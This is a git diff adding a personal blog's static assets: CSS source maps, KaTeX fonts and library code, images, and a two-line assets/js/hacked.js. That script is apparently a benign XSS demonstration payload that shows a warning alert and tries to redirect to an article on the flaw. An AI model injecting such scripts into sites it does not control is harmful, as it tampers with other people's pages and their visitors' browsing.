G,EACZ,WAAW,EAAE,MAAM,GACpB;;AACD,AAAA,KAAK,CAAC,EAAE,CAAC,EACP,WAAW,EAAE,IAAI,GAClB;;AACD,AAAA,KAAK,CAAC,EACJ,KAAK,EAAE,GAAG,EACV,MAAM,EAAE,IAAI,GACb;;AAED,AAAA,GAAG,CAAC,EACF,OAAO,EAAE,KAAK,EACd,KAAK,EAAE,GAAG,EACV,WAAW,EAAE,IAAI,EACjB,YAAY,EAAE,IAAI,GACnB;;AAED,AAAA,UAAU,CAAC,EACT,UAAU,EAAE,MAAM,GACnB;;AAED,AAAA,OAAO,CAAC,EACN,UAAU,EAAE,MAAM,GACnB;;AAED,MAAM,8BACJ,GAAA,AAAA,IAAI,CAAC,EACH,KAAK,EAAE,GAAG,GACX,CACD,AAAA,GAAG,CAAC,EACF,UAAU,EAAE,IAAI,EAChB,KAAK,EAAE,IAAI,GACZ,CACD,AAAA,GAAG,CAAC,CAAC,CAAC,EACJ,OAAO,EAAE,KAAK,EACd,UAAU,EAAE,IAAI,EAChB,YAAY,EAAE,CAAC,EACf,WAAW,EAAE,CAAC,GACf,EAVA;;AAaH,AAAA,KAAK,CAAC,EACJ,WAAW,EAAE,SAAS,GACvB;;AAED,AAAA,KAAK,CAAC,EACJ,WAAW,EAAE,IAAI,GAClB;;AAED,AAAA,UAAU,CAAC,EACT,UAAU,EAAE,IAAI,EAChB,UAAU,EAAE,MAAM,GACnB;;AAED,AAAA,MAAM,CAAC,EACL,WAAW,EAAE,IAAI,EACjB,aAAa,EAAE,KAAK,GACrB;;AAED,AAAA,SAAS,EACT,KAAK,CAAC,EACJ,OAAO,EAAE,IAAI,EACb,UAAU,EAAE,MAAM,GACnB;;AAED,AAAA,SAAS,CAAC,EACR,WAAW,EChKM,GAAG,EDiKpB,KAAK,EC9JO,OAAO,ED+JnB,gBAAgB,EChKJ,OAAO,GDiKpB;;AAED,AAAA,KAAK,CAAC,EACJ,WAAW,ECrKM,KAAK,EDsKtB,gBAAgB,ECnKR,OAAO,EDoKf,KAAK,ECnKG,OAAO,GDoKhB;;AAED,AAAA,YAAY,CAAC,EACX,KAAK,EAAE,IAAI,GACZ;;AAED,AAAA,UAAU,CAAC,EACT,cAAc,EAAE,SAAS,EACzB,WAAW,EAAE,IAAI,EACjB,KAAK,EC3LS,OAAO,GD4LtB;;AAED,AAAA,aAAa,CAAC,EACZ,WAAW,EAAE,IAAI,GAClB;;AAED,AAAA,YAAY,CAAC,EACX,aAAa,EAAE,GAAG,GACnB" +} \ No newline at end of file diff --git a/assets/css/transcription.css b/assets/css/transcription.css new file mode 100644 index 0000000..4e11ce2 --- /dev/null +++ b/assets/css/transcription.css @@ -0,0 +1,7 @@ +table { table-layout: fixed; width: 100%; } + +#wrapper { max-width: 100%; } + +table ul { padding: 0px; margin: 0px; } + +/*# sourceMappingURL=transcription.css.map */ \ No newline at end of file diff --git a/assets/css/transcription.css.map b/assets/css/transcription.css.map new file mode 100644 index 0000000..8e4ca1a --- /dev/null +++ b/assets/css/transcription.css.map @@ -0,0 +1,14 @@ +{ + "version": 3, + "file": "transcription.css", + "sources": [ + "transcription.scss", + "_sass/transcription.scss" + ], + "sourcesContent": [ + "@import \"transcription\"\n", + "table {\n table-layout: fixed;\n width: 100%;\n}\n\n#wrapper {\n max-width: 100%;\n}\n\ntable ul {\n padding: 0px;\n margin: 0px;\n}\n" + ], + "names": [], + "mappings": "ACAA,AAAA,KAAK,CAAC,EACJ,YAAY,EAAE,KAAK,EACnB,KAAK,EAAE,IAAI,GACZ;;AAED,AAAA,QAAQ,CAAC,EACP,SAAS,EAAE,IAAI,GAChB;;AAED,AAAA,KAAK,CAAC,EAAE,CAAC,EACP,OAAO,EAAE,GAAG,EACZ,MAAM,EAAE,GAAG,GACZ" +} \ No newline at end of file diff --git a/assets/emacspeak-tutorials/arrays.zip b/assets/emacspeak-tutorials/arrays.zip new file mode 100644 index 0000000..5914427 Binary files /dev/null and b/assets/emacspeak-tutorials/arrays.zip differ diff --git a/assets/emacspeak-tutorials/functions.zip b/assets/emacspeak-tutorials/functions.zip new file mode 100644 index 0000000..f7be3f1 Binary files /dev/null and b/assets/emacspeak-tutorials/functions.zip differ diff --git a/assets/emacspeak-tutorials/loops.zip b/assets/emacspeak-tutorials/loops.zip new file mode 100644 index 0000000..4f874bf Binary files /dev/null and b/assets/emacspeak-tutorials/loops.zip differ diff --git a/assets/emacspeak-tutorials/pointers.zip b/assets/emacspeak-tutorials/pointers.zip new file mode 100644 index 0000000..347765b Binary files /dev/null and b/assets/emacspeak-tutorials/pointers.zip differ diff --git a/assets/emacspeak-tutorials/printing.zip b/assets/emacspeak-tutorials/printing.zip new file mode 100644 index 0000000..7387503 Binary files /dev/null and b/assets/emacspeak-tutorials/printing.zip differ diff --git a/assets/emacspeak-tutorials/structs.zip b/assets/emacspeak-tutorials/structs.zip new file mode 100644 index 0000000..0e5de0c Binary files /dev/null and b/assets/emacspeak-tutorials/structs.zip differ diff --git a/assets/emacspeak-tutorials/variables.zip b/assets/emacspeak-tutorials/variables.zip new file mode 100644 index 0000000..35dc9d5 Binary files /dev/null and b/assets/emacspeak-tutorials/variables.zip differ diff --git a/assets/fonts/KaTeX_AMS-Regular.ttf b/assets/fonts/KaTeX_AMS-Regular.ttf new file mode 100644 index 0000000..737cf8e Binary files /dev/null and b/assets/fonts/KaTeX_AMS-Regular.ttf differ diff --git a/assets/fonts/KaTeX_AMS-Regular.woff b/assets/fonts/KaTeX_AMS-Regular.woff new file mode 100644 index 0000000..38378bf Binary files /dev/null and b/assets/fonts/KaTeX_AMS-Regular.woff differ diff --git a/assets/fonts/KaTeX_AMS-Regular.woff2 b/assets/fonts/KaTeX_AMS-Regular.woff2 new file mode 100644 index 0000000..a4d1ba6 Binary files /dev/null and b/assets/fonts/KaTeX_AMS-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Caligraphic-Bold.ttf b/assets/fonts/KaTeX_Caligraphic-Bold.ttf new file mode 100644 index 0000000..04d28ab Binary files /dev/null and b/assets/fonts/KaTeX_Caligraphic-Bold.ttf differ diff --git a/assets/fonts/KaTeX_Caligraphic-Bold.woff b/assets/fonts/KaTeX_Caligraphic-Bold.woff new file mode 100644 index 0000000..a01ce90 Binary files /dev/null and b/assets/fonts/KaTeX_Caligraphic-Bold.woff differ diff --git a/assets/fonts/KaTeX_Caligraphic-Bold.woff2 b/assets/fonts/KaTeX_Caligraphic-Bold.woff2 new file mode 100644 index 0000000..3792727 Binary files /dev/null and b/assets/fonts/KaTeX_Caligraphic-Bold.woff2 differ diff --git a/assets/fonts/KaTeX_Caligraphic-Regular.ttf b/assets/fonts/KaTeX_Caligraphic-Regular.ttf new file mode 100644 index 0000000..b2ce555 Binary files /dev/null and b/assets/fonts/KaTeX_Caligraphic-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Caligraphic-Regular.woff b/assets/fonts/KaTeX_Caligraphic-Regular.woff new file mode 100644 index 0000000..bc169b7 Binary files /dev/null and b/assets/fonts/KaTeX_Caligraphic-Regular.woff differ diff --git a/assets/fonts/KaTeX_Caligraphic-Regular.woff2 b/assets/fonts/KaTeX_Caligraphic-Regular.woff2 new file mode 100644 index 0000000..f1e38bb Binary files /dev/null and b/assets/fonts/KaTeX_Caligraphic-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Fraktur-Bold.ttf b/assets/fonts/KaTeX_Fraktur-Bold.ttf new file mode 100644 index 0000000..c42d169 Binary files /dev/null and b/assets/fonts/KaTeX_Fraktur-Bold.ttf differ diff --git a/assets/fonts/KaTeX_Fraktur-Bold.woff b/assets/fonts/KaTeX_Fraktur-Bold.woff new file mode 100644 index 0000000..f30b54b Binary files /dev/null and b/assets/fonts/KaTeX_Fraktur-Bold.woff differ diff --git a/assets/fonts/KaTeX_Fraktur-Bold.woff2 b/assets/fonts/KaTeX_Fraktur-Bold.woff2 new file mode 100644 index 0000000..b7a8359 Binary files /dev/null and b/assets/fonts/KaTeX_Fraktur-Bold.woff2 differ diff --git a/assets/fonts/KaTeX_Fraktur-Regular.ttf b/assets/fonts/KaTeX_Fraktur-Regular.ttf new file mode 100644 index 0000000..4133228 Binary files /dev/null and b/assets/fonts/KaTeX_Fraktur-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Fraktur-Regular.woff b/assets/fonts/KaTeX_Fraktur-Regular.woff new file mode 100644 index 0000000..5af51de Binary files /dev/null and b/assets/fonts/KaTeX_Fraktur-Regular.woff differ diff --git a/assets/fonts/KaTeX_Fraktur-Regular.woff2 b/assets/fonts/KaTeX_Fraktur-Regular.woff2 new file mode 100644 index 0000000..3874f93 Binary files /dev/null and b/assets/fonts/KaTeX_Fraktur-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Main-Bold.ttf b/assets/fonts/KaTeX_Main-Bold.ttf new file mode 100644 index 0000000..14390e0 Binary files /dev/null and b/assets/fonts/KaTeX_Main-Bold.ttf differ diff --git a/assets/fonts/KaTeX_Main-Bold.woff b/assets/fonts/KaTeX_Main-Bold.woff new file mode 100644 index 0000000..33b4199 Binary files /dev/null and b/assets/fonts/KaTeX_Main-Bold.woff differ diff --git a/assets/fonts/KaTeX_Main-Bold.woff2 b/assets/fonts/KaTeX_Main-Bold.woff2 new file mode 100644 index 0000000..f9b71cb Binary files /dev/null and b/assets/fonts/KaTeX_Main-Bold.woff2 differ diff --git a/assets/fonts/KaTeX_Main-BoldItalic.ttf b/assets/fonts/KaTeX_Main-BoldItalic.ttf new file mode 100644 index 0000000..ad0761f Binary files /dev/null and b/assets/fonts/KaTeX_Main-BoldItalic.ttf differ diff --git a/assets/fonts/KaTeX_Main-BoldItalic.woff b/assets/fonts/KaTeX_Main-BoldItalic.woff new file mode 100644 index 0000000..115af4f Binary files /dev/null and b/assets/fonts/KaTeX_Main-BoldItalic.woff differ diff --git a/assets/fonts/KaTeX_Main-BoldItalic.woff2 b/assets/fonts/KaTeX_Main-BoldItalic.woff2 new file mode 100644 index 0000000..5c500c2 Binary files /dev/null and b/assets/fonts/KaTeX_Main-BoldItalic.woff2 differ diff --git a/assets/fonts/KaTeX_Main-Italic.ttf b/assets/fonts/KaTeX_Main-Italic.ttf new file mode 100644 index 0000000..fc8625c Binary files /dev/null and b/assets/fonts/KaTeX_Main-Italic.ttf differ diff --git a/assets/fonts/KaTeX_Main-Italic.woff b/assets/fonts/KaTeX_Main-Italic.woff new file mode 100644 index 0000000..2d3087a Binary files /dev/null and b/assets/fonts/KaTeX_Main-Italic.woff differ diff --git a/assets/fonts/KaTeX_Main-Italic.woff2 b/assets/fonts/KaTeX_Main-Italic.woff2 new file mode 100644 index 0000000..08510d8 Binary files /dev/null and b/assets/fonts/KaTeX_Main-Italic.woff2 differ diff --git a/assets/fonts/KaTeX_Main-Regular.ttf b/assets/fonts/KaTeX_Main-Regular.ttf new file mode 100644 index 0000000..5115a04 Binary files /dev/null and b/assets/fonts/KaTeX_Main-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Main-Regular.woff b/assets/fonts/KaTeX_Main-Regular.woff new file mode 100644 index 0000000..42b74ab Binary files /dev/null and b/assets/fonts/KaTeX_Main-Regular.woff differ diff --git a/assets/fonts/KaTeX_Main-Regular.woff2 b/assets/fonts/KaTeX_Main-Regular.woff2 new file mode 100644 index 0000000..18647fa Binary files /dev/null and b/assets/fonts/KaTeX_Main-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Math-BoldItalic.ttf b/assets/fonts/KaTeX_Math-BoldItalic.ttf new file mode 100644 index 0000000..326b523 Binary files /dev/null and b/assets/fonts/KaTeX_Math-BoldItalic.ttf differ diff --git a/assets/fonts/KaTeX_Math-BoldItalic.woff b/assets/fonts/KaTeX_Math-BoldItalic.woff new file mode 100644 index 0000000..5b4041a Binary files /dev/null and b/assets/fonts/KaTeX_Math-BoldItalic.woff differ diff --git a/assets/fonts/KaTeX_Math-BoldItalic.woff2 b/assets/fonts/KaTeX_Math-BoldItalic.woff2 new file mode 100644 index 0000000..ba55276 Binary files /dev/null and b/assets/fonts/KaTeX_Math-BoldItalic.woff2 differ diff --git a/assets/fonts/KaTeX_Math-Italic.ttf b/assets/fonts/KaTeX_Math-Italic.ttf new file mode 100644 index 0000000..f148fce Binary files /dev/null and b/assets/fonts/KaTeX_Math-Italic.ttf differ diff --git a/assets/fonts/KaTeX_Math-Italic.woff b/assets/fonts/KaTeX_Math-Italic.woff new file mode 100644 index 0000000..31d0038 Binary files /dev/null and b/assets/fonts/KaTeX_Math-Italic.woff differ diff --git a/assets/fonts/KaTeX_Math-Italic.woff2 b/assets/fonts/KaTeX_Math-Italic.woff2 new file mode 100644 index 0000000..9871ab6 Binary files /dev/null and b/assets/fonts/KaTeX_Math-Italic.woff2 differ diff --git a/assets/fonts/KaTeX_SansSerif-Bold.ttf b/assets/fonts/KaTeX_SansSerif-Bold.ttf new file mode 100644 index 0000000..dce35c8 Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Bold.ttf differ diff --git a/assets/fonts/KaTeX_SansSerif-Bold.woff b/assets/fonts/KaTeX_SansSerif-Bold.woff new file mode 100644 index 0000000..992cb3d Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Bold.woff differ diff --git a/assets/fonts/KaTeX_SansSerif-Bold.woff2 b/assets/fonts/KaTeX_SansSerif-Bold.woff2 new file mode 100644 index 0000000..6dd1038 Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Bold.woff2 differ diff --git a/assets/fonts/KaTeX_SansSerif-Italic.ttf b/assets/fonts/KaTeX_SansSerif-Italic.ttf new file mode 100644 index 0000000..a3eb86c Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Italic.ttf differ diff --git a/assets/fonts/KaTeX_SansSerif-Italic.woff b/assets/fonts/KaTeX_SansSerif-Italic.woff new file mode 100644 index 0000000..f4fa252 Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Italic.woff differ diff --git a/assets/fonts/KaTeX_SansSerif-Italic.woff2 b/assets/fonts/KaTeX_SansSerif-Italic.woff2 new file mode 100644 index 0000000..9f2501a Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Italic.woff2 differ diff --git a/assets/fonts/KaTeX_SansSerif-Regular.ttf b/assets/fonts/KaTeX_SansSerif-Regular.ttf new file mode 100644 index 0000000..3be73ce Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Regular.ttf differ diff --git a/assets/fonts/KaTeX_SansSerif-Regular.woff b/assets/fonts/KaTeX_SansSerif-Regular.woff new file mode 100644 index 0000000..ec283f4 Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Regular.woff differ diff --git a/assets/fonts/KaTeX_SansSerif-Regular.woff2 b/assets/fonts/KaTeX_SansSerif-Regular.woff2 new file mode 100644 index 0000000..e46094f Binary files /dev/null and b/assets/fonts/KaTeX_SansSerif-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Script-Regular.ttf b/assets/fonts/KaTeX_Script-Regular.ttf new file mode 100644 index 0000000..40c8a99 Binary files /dev/null and b/assets/fonts/KaTeX_Script-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Script-Regular.woff b/assets/fonts/KaTeX_Script-Regular.woff new file mode 100644 index 0000000..4eafae7 Binary files /dev/null and b/assets/fonts/KaTeX_Script-Regular.woff differ diff --git a/assets/fonts/KaTeX_Script-Regular.woff2 b/assets/fonts/KaTeX_Script-Regular.woff2 new file mode 100644 index 0000000..69b1754 Binary files /dev/null and b/assets/fonts/KaTeX_Script-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Size1-Regular.ttf b/assets/fonts/KaTeX_Size1-Regular.ttf new file mode 100644 index 0000000..f0aff83 Binary files /dev/null and b/assets/fonts/KaTeX_Size1-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Size1-Regular.woff b/assets/fonts/KaTeX_Size1-Regular.woff new file mode 100644 index 0000000..0358ee4 Binary files /dev/null and b/assets/fonts/KaTeX_Size1-Regular.woff differ diff --git a/assets/fonts/KaTeX_Size1-Regular.woff2 b/assets/fonts/KaTeX_Size1-Regular.woff2 new file mode 100644 index 0000000..f951ed0 Binary files /dev/null and b/assets/fonts/KaTeX_Size1-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Size2-Regular.ttf b/assets/fonts/KaTeX_Size2-Regular.ttf new file mode 100644 index 0000000..4f72f16 Binary files /dev/null and b/assets/fonts/KaTeX_Size2-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Size2-Regular.woff b/assets/fonts/KaTeX_Size2-Regular.woff new file mode 100644 index 0000000..8a053d2 Binary files /dev/null and b/assets/fonts/KaTeX_Size2-Regular.woff differ diff --git a/assets/fonts/KaTeX_Size2-Regular.woff2 b/assets/fonts/KaTeX_Size2-Regular.woff2 new file mode 100644 index 0000000..181d962 Binary files /dev/null and b/assets/fonts/KaTeX_Size2-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Size3-Regular.ttf b/assets/fonts/KaTeX_Size3-Regular.ttf new file mode 100644 index 0000000..56d2dc6 Binary files /dev/null and b/assets/fonts/KaTeX_Size3-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Size3-Regular.woff b/assets/fonts/KaTeX_Size3-Regular.woff new file mode 100644 index 0000000..0ec99ad Binary files /dev/null and b/assets/fonts/KaTeX_Size3-Regular.woff differ diff --git a/assets/fonts/KaTeX_Size3-Regular.woff2 b/assets/fonts/KaTeX_Size3-Regular.woff2 new file mode 100644 index 0000000..c2985cd Binary files /dev/null and b/assets/fonts/KaTeX_Size3-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Size4-Regular.ttf b/assets/fonts/KaTeX_Size4-Regular.ttf new file mode 100644 index 0000000..baf0209 Binary files /dev/null and b/assets/fonts/KaTeX_Size4-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Size4-Regular.woff b/assets/fonts/KaTeX_Size4-Regular.woff new file mode 100644 index 0000000..ff67319 Binary files /dev/null and b/assets/fonts/KaTeX_Size4-Regular.woff differ diff --git a/assets/fonts/KaTeX_Size4-Regular.woff2 b/assets/fonts/KaTeX_Size4-Regular.woff2 new file mode 100644 index 0000000..a4e810d Binary files /dev/null and b/assets/fonts/KaTeX_Size4-Regular.woff2 differ diff --git a/assets/fonts/KaTeX_Typewriter-Regular.ttf b/assets/fonts/KaTeX_Typewriter-Regular.ttf new file mode 100644 index 0000000..e66c218 Binary files /dev/null and b/assets/fonts/KaTeX_Typewriter-Regular.ttf differ diff --git a/assets/fonts/KaTeX_Typewriter-Regular.woff b/assets/fonts/KaTeX_Typewriter-Regular.woff new file mode 100644 index 0000000..c66d149 Binary files /dev/null and b/assets/fonts/KaTeX_Typewriter-Regular.woff differ diff --git a/assets/fonts/KaTeX_Typewriter-Regular.woff2 b/assets/fonts/KaTeX_Typewriter-Regular.woff2 new file mode 100644 index 0000000..e5bf2ce Binary files /dev/null and b/assets/fonts/KaTeX_Typewriter-Regular.woff2 differ diff --git a/assets/img/access1/stack.png b/assets/img/access1/stack.png new file mode 100644 index 0000000..3fec3f6 Binary files /dev/null and b/assets/img/access1/stack.png differ diff --git a/assets/img/alice-sign-to-bob.png b/assets/img/alice-sign-to-bob.png new file mode 100644 index 0000000..cfce6bf Binary files /dev/null and b/assets/img/alice-sign-to-bob.png differ diff --git a/assets/img/alice-to-bob.png b/assets/img/alice-to-bob.png new file mode 100644 index 0000000..eaf5e64 Binary files /dev/null and b/assets/img/alice-to-bob.png differ diff --git a/assets/img/banff.jpg b/assets/img/banff.jpg new file mode 100644 index 0000000..28bff9f Binary files /dev/null and b/assets/img/banff.jpg differ diff --git a/assets/img/ceasar1.jpg b/assets/img/ceasar1.jpg new file mode 100644 index 0000000..67bf033 Binary files /dev/null and b/assets/img/ceasar1.jpg differ diff --git a/assets/img/ceasar13.png b/assets/img/ceasar13.png new file mode 100644 index 0000000..8f3d905 Binary files /dev/null and b/assets/img/ceasar13.png differ diff --git a/assets/img/ceasar2.jpg b/assets/img/ceasar2.jpg new file mode 100644 index 0000000..ec504d4 Binary files /dev/null and b/assets/img/ceasar2.jpg differ diff --git a/assets/img/ec.png b/assets/img/ec.png new file mode 100644 index 0000000..c7532a2 Binary files /dev/null and b/assets/img/ec.png differ diff --git a/assets/img/encrypted-web-traffic.png b/assets/img/encrypted-web-traffic.png new file mode 100644 index 0000000..ccdc74a Binary files /dev/null and b/assets/img/encrypted-web-traffic.png differ diff --git a/assets/img/keyring.jpg b/assets/img/keyring.jpg new file mode 100644 index 0000000..279c46d Binary files /dev/null and b/assets/img/keyring.jpg differ diff --git a/assets/img/public-key-example1.svg b/assets/img/public-key-example1.svg new file mode 100644 index 0000000..a9220e8 --- /dev/null +++ b/assets/img/public-key-example1.svg @@ -0,0 +1,201 @@ + + + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + + + + + + 鮑伯 + 你好! + + + Hello + Bob! + + + + + + 鮑伯的 + 私有密鑰 + + + Bob's + Private Key + + + + + 加密 + Encrypt + + + 6EB6957008E03CE4 + + + + + 鮑伯 + 你好! + + + Hello + Bob! + + + + + 解密 + Decrypt + + + + + 鮑伯的 + 公開金鑰 + + + Bob's + Public Key + + + + 愛麗斯 + Alice + + + + 鮑伯 + Bob + + + + + + + + diff --git a/assets/img/qyf-xss/1-input.png b/assets/img/qyf-xss/1-input.png new file mode 100644 index 0000000..0a381df Binary files /dev/null and b/assets/img/qyf-xss/1-input.png differ diff --git a/assets/img/qyf-xss/2-bold.png b/assets/img/qyf-xss/2-bold.png new file mode 100644 index 0000000..3e77c20 Binary files /dev/null and b/assets/img/qyf-xss/2-bold.png differ diff --git a/assets/img/qyf-xss/3-bold-leaderboard.png b/assets/img/qyf-xss/3-bold-leaderboard.png new file mode 100644 index 0000000..37204ad Binary files /dev/null and b/assets/img/qyf-xss/3-bold-leaderboard.png differ diff --git a/assets/img/qyf-xss/3-steve-board.png b/assets/img/qyf-xss/3-steve-board.png new file mode 100644 index 0000000..ce2920a Binary files /dev/null and b/assets/img/qyf-xss/3-steve-board.png differ diff --git a/assets/img/qyf-xss/5-maxlength.png b/assets/img/qyf-xss/5-maxlength.png new file mode 100644 index 0000000..f8c236e Binary files /dev/null and b/assets/img/qyf-xss/5-maxlength.png differ diff --git a/assets/img/w3c-padding-margin.png b/assets/img/w3c-padding-margin.png new file mode 100644 index 0000000..956a4f1 Binary files /dev/null and b/assets/img/w3c-padding-margin.png differ diff --git a/assets/img/wget-log b/assets/img/wget-log new file mode 100644 index 0000000..6e8c91c --- /dev/null +++ b/assets/img/wget-log @@ -0,0 +1,12 @@ +--2020-04-02 20:52:24-- https://www.google.com/url?sa=i +Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' +Resolving www.google.com (www.google.com)... 172.217.3.196, 2607:f8b0:400a:809::2004 +Connecting to www.google.com (www.google.com)|172.217.3.196|:443... connected. +HTTP request sent, awaiting response... 200 OK +Length: unspecified [text/html] +Saving to: 'url?sa=i' + + url?sa=i [<=> ] 0 --.-KB/s url?sa=i [ <=> ] 1.38K --.-KB/s in 0s + +2020-04-02 20:52:24 (10.1 MB/s) - 'url?sa=i' saved [1414] + diff --git a/assets/js/hacked.js b/assets/js/hacked.js new file mode 100644 index 0000000..212749b --- /dev/null +++ b/assets/js/hacked.js @@ -0,0 +1,2 @@ +alert("Warning! This site is insecure and open to an attack called XSS. You are now being redirected to an article about this vulnerability."); +window.href = "https://tait.tech/2020/04/22/quiz-your-friends.html"; diff --git a/assets/js/katex.js b/assets/js/katex.js new file mode 100644 index 0000000..8e56e01 --- /dev/null +++ b/assets/js/katex.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.katex=t():e.katex=t()}("undefined"!=typeof self?self:this,(function(){return function(){"use strict";var e={d:function(t,r){for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)}},t={};e.d(t,{default:function(){return Zn}});var r=function e(t,r){this.position=void 0;var n,a="KaTeX parse error: "+t,i=r&&r.loc;if(i&&i.start<=i.end){var o=i.lexer.input;n=i.start;var s=i.end;n===o.length?a+=" at end of input: ":a+=" at position "+(n+1)+": ";var l=o.slice(n,s).replace(/[^]/g,"$&\u0332");a+=(n>15?"\u2026"+o.slice(n-15,n):o.slice(0,n))+l+(s+15":">","<":"<",'"':""","'":"'"},o=/[&><"']/g;var s=function e(t){return"ordgroup"===t.type||"color"===t.type?1===t.body.length?e(t.body[0]):t:"font"===t.type?e(t.body):t},l={contains:function(e,t){return-1!==e.indexOf(t)},deflt:function(e,t){return void 0===e?t:e},escape:function(e){return String(e).replace(o,(function(e){return i[e]}))},hyphenate:function(e){return e.replace(a,"-$1").toLowerCase()},getBaseElem:s,isCharacterBox:function(e){var t=s(e);return"mathord"===t.type||"textord"===t.type||"atom"===t.type},protocolFromUrl:function(e){var t=/^\s*([^\\/#]*?)(?::|�*58|�*3a)/i.exec(e);return null!=t?t[1]:"_relative"}},h=function(){function e(e){this.displayMode=void 0,this.output=void 0,this.leqno=void 0,this.fleqn=void 0,this.throwOnError=void 0,this.errorColor=void 0,this.macros=void 0,this.minRuleThickness=void 0,this.colorIsTextColor=void 0,this.strict=void 0,this.trust=void 0,this.maxSize=void 0,this.maxExpand=void 0,this.globalGroup=void 0,e=e||{},this.displayMode=l.deflt(e.displayMode,!1),this.output=l.deflt(e.output,"htmlAndMathml"),this.leqno=l.deflt(e.leqno,!1),this.fleqn=l.deflt(e.fleqn,!1),this.throwOnError=l.deflt(e.throwOnError,!0),this.errorColor=l.deflt(e.errorColor,"#cc0000"),this.macros=e.macros||{},this.minRuleThickness=Math.max(0,l.deflt(e.minRuleThickness,0)),this.colorIsTextColor=l.deflt(e.colorIsTextColor,!1),this.strict=l.deflt(e.strict,"warn"),this.trust=l.deflt(e.trust,!1),this.maxSize=Math.max(0,l.deflt(e.maxSize,1/0)),this.maxExpand=Math.max(0,l.deflt(e.maxExpand,1e3)),this.globalGroup=l.deflt(e.globalGroup,!1)}var t=e.prototype;return t.reportNonstrict=function(e,t,r){var a=this.strict;if("function"==typeof a&&(a=a(e,t,r)),a&&"ignore"!==a){if(!0===a||"error"===a)throw new n("LaTeX-incompatible input and strict mode is set to 'error': "+t+" ["+e+"]",r);"warn"===a?"undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+t+" ["+e+"]"):"undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to unrecognized '"+a+"': "+t+" ["+e+"]")}},t.useStrictBehavior=function(e,t,r){var n=this.strict;if("function"==typeof n)try{n=n(e,t,r)}catch(e){n="error"}return!(!n||"ignore"===n)&&(!0===n||"error"===n||("warn"===n?("undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+t+" ["+e+"]"),!1):("undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to unrecognized '"+n+"': "+t+" ["+e+"]"),!1)))},t.isTrusted=function(e){e.url&&!e.protocol&&(e.protocol=l.protocolFromUrl(e.url));var t="function"==typeof this.trust?this.trust(e):this.trust;return Boolean(t)},e}(),m=function(){function e(e,t,r){this.id=void 0,this.size=void 0,this.cramped=void 0,this.id=e,this.size=t,this.cramped=r}var t=e.prototype;return t.sup=function(){return c[u[this.id]]},t.sub=function(){return c[p[this.id]]},t.fracNum=function(){return c[d[this.id]]},t.fracDen=function(){return c[f[this.id]]},t.cramp=function(){return c[g[this.id]]},t.text=function(){return c[v[this.id]]},t.isTight=function(){return this.size>=2},e}(),c=[new m(0,0,!1),new m(1,0,!0),new m(2,1,!1),new m(3,1,!0),new m(4,2,!1),new m(5,2,!0),new m(6,3,!1),new m(7,3,!0)],u=[4,5,4,5,6,7,6,7],p=[5,5,5,5,7,7,7,7],d=[2,3,4,5,6,7,6,7],f=[3,3,5,5,7,7,7,7],g=[1,1,3,3,5,5,7,7],v=[0,1,2,3,2,3,2,3],b={DISPLAY:c[0],TEXT:c[2],SCRIPT:c[4],SCRIPTSCRIPT:c[6]},y=[{name:"latin",blocks:[[256,591],[768,879]]},{name:"cyrillic",blocks:[[1024,1279]]},{name:"armenian",blocks:[[1328,1423]]},{name:"brahmic",blocks:[[2304,4255]]},{name:"georgian",blocks:[[4256,4351]]},{name:"cjk",blocks:[[12288,12543],[19968,40879],[65280,65376]]},{name:"hangul",blocks:[[44032,55215]]}];var x=[];function w(e){for(var t=0;t=x[t]&&e<=x[t+1])return!0;return!1}y.forEach((function(e){return e.blocks.forEach((function(e){return x.push.apply(x,e)}))}));var k=80,S={doubleleftarrow:"M262 157\nl10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3\n 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28\n 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5\nc2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5\n 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87\n-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7\n-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z\nm8 0v40h399730v-40zm0 194v40h399730v-40z",doublerightarrow:"M399738 392l\n-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 